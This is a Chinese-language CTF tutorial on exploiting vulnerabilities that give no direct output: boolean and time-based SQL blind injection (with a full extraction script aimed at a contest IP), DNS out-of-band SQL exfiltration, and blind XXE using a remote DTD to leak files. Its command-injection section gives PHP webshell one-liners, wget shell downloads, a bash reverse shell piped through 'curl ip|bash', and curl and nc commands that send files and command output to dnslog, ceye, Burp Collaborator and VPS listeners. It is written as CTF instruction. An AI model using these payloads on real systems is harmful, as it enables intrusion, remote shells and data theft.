浅谈ctf中的无回显
前言
在打ctf中会经常遇到没有回显的情况,比如说命令可执行没有回显,XXE无回显,sql盲注等等,这方面的知识对我来说算是比较零散,没有系统的总结过,在比赛中遇到这种情况总是显得捉襟见肘,于是便决定通过写一篇文章来总结一下这方面的知识。
常用工具
工欲善其事必先利其器,在正文之前,先把几种可以在无回显中外带数据的工具介绍一下
-
DNSLog Platform
地址:http://www.dnslog.cn/
无需注册,打开网页获取域名点击Get SubDomain即可,这里给的子域名是随机生成的,我这里是siil7y.dnslog.cn。
-
CEYE
地址:http://ceye.io/
需要注册,点击右上角的Profile,然后Identifier中的内容就是子域名,这里的子域名是固定的,我这里是k1o75b.ceye.io。相对比上面的DNSLog Platform来说,ceye的功能会更全,我个人比较喜欢用ceye。
-
Burp Collaborator
burpsuite1.7版本以上自带的功能
首先打开burpsuite点击右上角的burp然后点击Burp Collaborator client
然后点击Copy to clipboard即可获取子域名
我这里是5z5n196bdx9sowhmrc2tqxq7syyomd.burpcollaborator.net,这里的地址也是随机生成的。
-
vps
作为一个ctfer,最好有一台自己的vps,vps主要用来反弹shell,nc监听,以及放置一些文件在上面,放置文件的话需要安装apacheubuntu安装命令如下
sudo apt-get update
apt-get install php7.2 libapache2-mod-php7.2
然后就可以在/var/www/htm放置自己的文件了
上面几种工具在大多数时候是可以通用的,本篇文章都是利用他们在无回显的情况下来进行外带数据,各有各的优点和缺点,然后这里只是简单的介绍如何获取工具的子域名他们其中的具体原理可以自己查阅下资料这里就不赘述了。
sql盲注
布尔盲注
CTF题目中有时候会出现sql注入没有直接回显数据的情况,但是在注入点输入假或者是真,页面会出现不一样的信息,以此为基础我们可以进行sql布尔盲注。
这里拿前几天刚刚打的太湖杯CrossFire这道题为例子来说明如何应对这种无直接回显的情况,tips:文章发出时题目环境还有。
发现有一个id参数可以输入,但是输入1和0的回显不一样,如下图。
然后用if函数判断数据库的第一个字符的ASCII码的大小,payload如下
if(ascii(substr(database(),1,1))>1,1,0)
发现大于1时和大于1000时这两个极端的回显是不一样的,我们以此为基础写盲注脚本。
用祖传的二分法盲注脚本跑一下,发现是可以跑出数据库的。
可以跑数据库,当然也可以跑表,跑字段,这里就不赘述了
但是问题来了,这里如何利用这种方法去读取他的一个源文件呢?
答案是可以使用load_file函数去读取他的文件内容
最后我这里贴上完整的盲注脚本
# -*- coding: utf-8 -*-
import requests
def exp(pay):
url = "http://122.112.249.228:10080/index.php/?id=1+and+"
result = ""
for i in range(1, 30000):
high = 127
low = 32
mid = (low + high) / 2
while high > low:
payload = "if(ascii(substr("+pay+",%d,1))>%d,1,0)%%23"%(i,mid)
# print(url+payload)
response = requests.get(url+payload)
if "upload" in response.text :
low = mid + 1
else:
high = mid
mid = (low + high) / 2
result += chr(int(mid))
print(result)
# pay = 'database()'
# print('database:')
# print(exp(pay))
# pay = '(union select load_file(0x2f6574632f706173737764))'
# print('/etc/passwd:')
# print(exp(pay))
# pay = '(union select load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))'
# print('/var/www/html/index.php:')
# print(exp(pay))
总的来说就是遇到没有直接回显内容的sql注入,但是会返回不同网页内容的时候,就可以立马想到sql盲注,上面的二分法脚本算是通用的脚本,以不变应万变,根据题目的情况改payload即可。
时间盲注
直接把上面payload中的1
替换为sleep(5)
,然后观察响应的时间是否等于5秒即可。
if(ascii(substr(database(),1,1))>1,sleep(5),0)
相对来说ctf中用到的时间盲注比较少,大多数都是布尔盲注。
使用dnslog外带数据
这种方法说实话以前没见过写本篇文章的时候查阅资料学到的这里提及一下。
使用条件:
dnslog回显只能用于windows系统,原理就是\\代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。
通用payload如下
select load_file(concat('\\',(select database()),'.sy9ti5.dnslog.cn\kawhi'))
这里在DVWA的盲SQL靶场试验一下
然后在dnslog平台接收一下信息,发现成功接收database()
XXE无回显
在XXE漏洞这类题目里面有时候也会出现无回显的情况那么如何去应对呢?一般来说主要是使用数据外带这里我在本地演示如何进行数据外带的整个过程。
先在本地写入一个XXE没有任何回显的代码
xml.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
然后在自己的vps上放置
xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
这里有几个需要注意的点:
这里的%会被xml解析成%,这里不能够直接用%,否则会报错。
注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,因为发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以这里最好用伪协议做一个base64的加密。
最后我们POST提交的payload
<?xml version="1.0"?>
<!DOCTYPE Note [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>
这里的ip同样换成自己的vps的ip
下一步在vps上开启监听1234端口
nc -lvp 1234
然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
-
首先我们payload中的% remote去获取vps上的xml.dtd
-
然后xml.dtd中的% start去调用% file
-
% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
-
最后通过% send将数据发送到vps监听的1234端口上
这就是XXE实现外带数据的整个流程。
又或者你不想用vps接收数据 用其他的平台也是可以的比如说用Burp Collaborator直把xml.dtd中的send地址改成Burp Collaborator的地址即可
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://rb62rvwpae4uq1p5ntwv6rrhu80yon.burpcollaborator.net/?%file;'>">
在CTF比赛也考过这种题型,DozerCTF2020的svgggggg!这道题目就考察了这个点,并且配合了SVG这种基于XML的二维矢量图格式去进行XXE的无回显,具体的解题过程可以看官方的WP:https://github.com/DozerJIT/DozerCTF2020/blob/master/web/wp1.md
命令执行无回显
在命令执行有时候也会遇到无回显的情况,在前几周大四的师兄给了我一道天融信的靶场笔试题,就是命令可执行但无回显的情况,当时也是做了几个小时,感觉这方面的知识还是有欠缺,这里就详细说明一下如何应对这种无回显的情况。
这里首先给出可以执行命令但是没有任何回显的一段经典代码,以方便我们下面做实验。
<!DOCTYPE html>
<html>
<head>
<title>ping一下吧</title>
</head>
<body>
<form action="" method="POST">
<input type="text" name="site">
<input type="submit" name="submit" value="查询">
</form>
</body>
</html>
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST['submit'])){
// Get input
$target = $_REQUEST['site'];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
}
?>
tips:我是放在linux的环境下,保存为ping.php。
判断是否执行
前提条件是首先命令可以成功的被执行,那么我们如何判断呢?下面给出3种常见的方法。
-
使用dnslog平台
我们直接输入以下两行的其中一行,点击查询。
|curl `whoami`.gbpiyl.dnslog.cn
|ping `whoami`.gbpiyl.dnslog.cn
可以看到在dnslog平台接收到信息,证明我们的命令是可以被执行的。
简单的说就是我们通过ping命令或者curl命令去请求dnslog的这个域名的时候,会进行一个域名解析,然后在平台上就能够接收到信息。
-
使用vps服务器
在我们的vps上开启监听。
nc -lvp 1234
然后向服务器发起请求,执行curl命令。
|curl ip:1234
如下图,可以看到vps成功接收到信息,说明存在命令执行。
这里要注意的是由于ping命令不会产生http请求,所以这种方法只能用curl来实现。
-
利用延时方法
我们使用sleep让他延时10秒,观察响应的时间是否相等,如果相等就证明存在命令执行。
进一步利用
在确定某个地方存在命令执行后,我们如何进一步利用呢?
写入文件
既然可以命令执行,最常见的方法就是写文件,下面介绍3种常用的方法来写文件。
-
利用>或者>>把我们需要执行的命令写入文件里面
他们两个的区别就是,>会覆盖原文件内容,>>则是追加内容
例如把ls的结果写入1.txt里面
|ls > 1.txt
将ping.php文件内容写入ping.txt。
|cat ping.php > ping.txt
甚至可以通过base64进行加密读取
|cat ping.php|base64 > ping.txt
-
通过echo写入webshell
直接写入一句话木马,payload如下
|echo "<?php @eval($_POST[cmd]);?>">shell.php
注意这里的$一定要加转义,否则写进去之后会缺少$_POST。
像之前打羊城杯的时候有道题就是没有考虑$的转义,一直写不进去,困扰了好久但是后来队里的Gq师傅用了另外一种方法写的shell,这里顺便分享一下
这里是利用无参数函数嵌套构造GET传参的的一句话木马,经过测试下面两行都可以执行,当时比赛用的是第二行。
|echo "<?=eval(pos(pos(get_defined_vars())))?>">shell.php
`echo "<?=eval(pos(pos(get_defined_vars())))?>">shell.php`
顺便贴一下POST的一句话木马
|echo "<?=eval(pos(next(get_defined_vars())))?>">shell.php
原理也很简单,如果看不懂这个一句话木马的话,在本地打印get_defined_vars的值,看看是什么,
-
利用wget下载
wget是一个下载文件的工具,前提是环境存在这个命令才可以使用。
首先在vps上放置我们的一句话木马,这里我放在1.txt里面
然后使用参数-O来指定写入文件名的名字这里写入shell.php,payload如下
|wget http://ip/1.txt -O shell.php
或者用下面的payload
|wget http://ip/1.txt > shell.php
在先知社区上看有师傅就用这种方法Getshell,可以参考:无回显Rce到Getshellhttps://xz.aliyun.com/t/8436
反弹shell
既然可以命令执行,我们很容易想到可以反弹shell,反弹shell一般是bash反弹比较常见,但是bash反弹shell的那一段命令有点长而且特殊字符比较多容易被过滤,为了方便起见我们把bash反弹shell的语句写在vps上,再用curl执行他,具体流程如下:
将以下内容写入/var/www/html/index.html,或者你写进/var/www/html/目录下其他的文件也行,这里我选择1234端口,ip为你的vps的ip地址。
bash -i >& /dev/tcp/ip/1234 0>&1
然后在vps开启监听
nc -lvp 1234
在可命令执行的地方输入
|curl ip|bash
然后就成功的将shell反弹到我们的vps上了
改文件类型
众所周知,php文件是无法直接显示的,既然可以命令执行,我们不妨使用一些命令比如cp,mv,zip,tar等修改php文件的类型为txt或者zip,然后读取文件的信息。
-
cp(英文全拼:copy file)命令主要用于复制文件或目录。
可以使用cp命令将php后缀的文件拷贝一份为txt后缀,从而读取更多信息,这里把刚刚写进去的shell.php拷贝为shell.txt。
|cp shell.php shell.txt
-
mv(英文全拼:move file)命令用来为文件或目录改名或将文件或目录移入其它位置。
用mv命令将shell.php直接改名为shell.txt,然后可以直接读取
|mv shell.php shell.txt
-
zip 命令用于压缩文件。
用zip命令将shell.php打包压缩为shell.zip然后可以直接下载解压即可读取。
|zip shell.zip shell.php
-
tar(英文全拼:tape archive )命令用于备份文件。
用tar命令将shell.php压缩为shell.tar.gz,然后可以直接下载,解压即可读取
|tar zcvf shell.tar.gz shell.php
利用工具外带数据
这里介绍4种工具来外带数据
-
使用ceye或者dnslog
这两个差不多,这里用ceye演示
前面在判断是否执行的时候已经说过了,可以使用反引号加上ceye的地址去进行外带数据,如下
|curl `whoami`.k1o75b.ceye.io
甚至可以以base64的形式发送数据
|curl `whoami|base64`.k1o75b.ceye.io
但是这里用外带数据读文件的话,看似简单,还是有些小问题还是值得探讨的
这里我写入一个flag.php内容如下,请注意我加了小空格
FLA G1{this_is_flag1}
FLA G2{this_is_flag2}
如果我们直接用如下命令读取
|curl `cat flag.php`.k1o75b.ceye.io
我们看看读取了什么内容
发现只读取了G2{this_is_flag2},也就是第二行空格后面一部分的内容
如果我们加上去掉空格会如何呢,payload如下
|curl `cat flag.php|sed s/[[:space:]]//g`.k1o75b.ceye.io
发现读取了完整的第二行的内容,这里解释一下sed s/[[:space:]]//g的意思
sed是linux的一个命令,可依照脚本的指令来处理、编辑文本文件,后面紧接的s则是取代的意思,[:space:]匹配空白字符,包括空格,tab,g表示全局匹配,也就是说把内容中的空格给替换了。
那么这里就还有一个问题就是,如何去读取第一行的内容,我们可以继续利用sed
|curl `cat flag.php|sed -n '1p'|sed s/[[:space:]]//g`.k1o75b.ceye.io
利用-n去读指定的行数
可以发现成功读取了第一行的内容
我们甚至可以利用cut命令的-c去读指定的的字符,比如
|curl `cat flag.php|sed -n '1p'|cut -c 2-6|sed s/[[:space:]]//g`.k1o75b.ceye.io
可以看到成功读取到第一行的2-6这个范围的字符
也就是说通过这两个命令我们可以读取文件的所有内容。
-
利用Collaborator Client
payload如下
|curl -X POST -F file=@flag.php http://79ejgy6rr0u05hffq55whqrhw82yqn.burpcollaborator.net
这里是利用-X指定发送一个POST请求,然后用-F指定要发送的文件,注意这里的@不能够省略,经过测试,缺少@会报一个400的错误,然后提示请求所需的file不存在。
我们直接在命令执行处输入上面的payload,成功接收到flag.php的信息
在vps上监听端口1234
nc -lvp 1234
然后在命令执行处进行nc,payload如下
|nc ip 1234 < flag.php
ip为vps的ip地址,可以看到成功接收到了flag.php的内容
默认是TCP检测,如果要检测UDP的话要指定-u参数。
nc -ulvp 1234
|nc -u ip 1234 < flag.php
总结
由于篇幅和水平有限,这里只介绍了sql盲注,XXE无回显,命令执行无回显三种CTF常用到的一些操作,然后命令执行无回显在CTF中由于环境有些命令不可用或者说存在过滤等等,有些方法不一定可行,所以可以各种方法结合绕过试一下。
本文始发于微信公众号(疯猫网络):浅谈ctf中的无回显
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论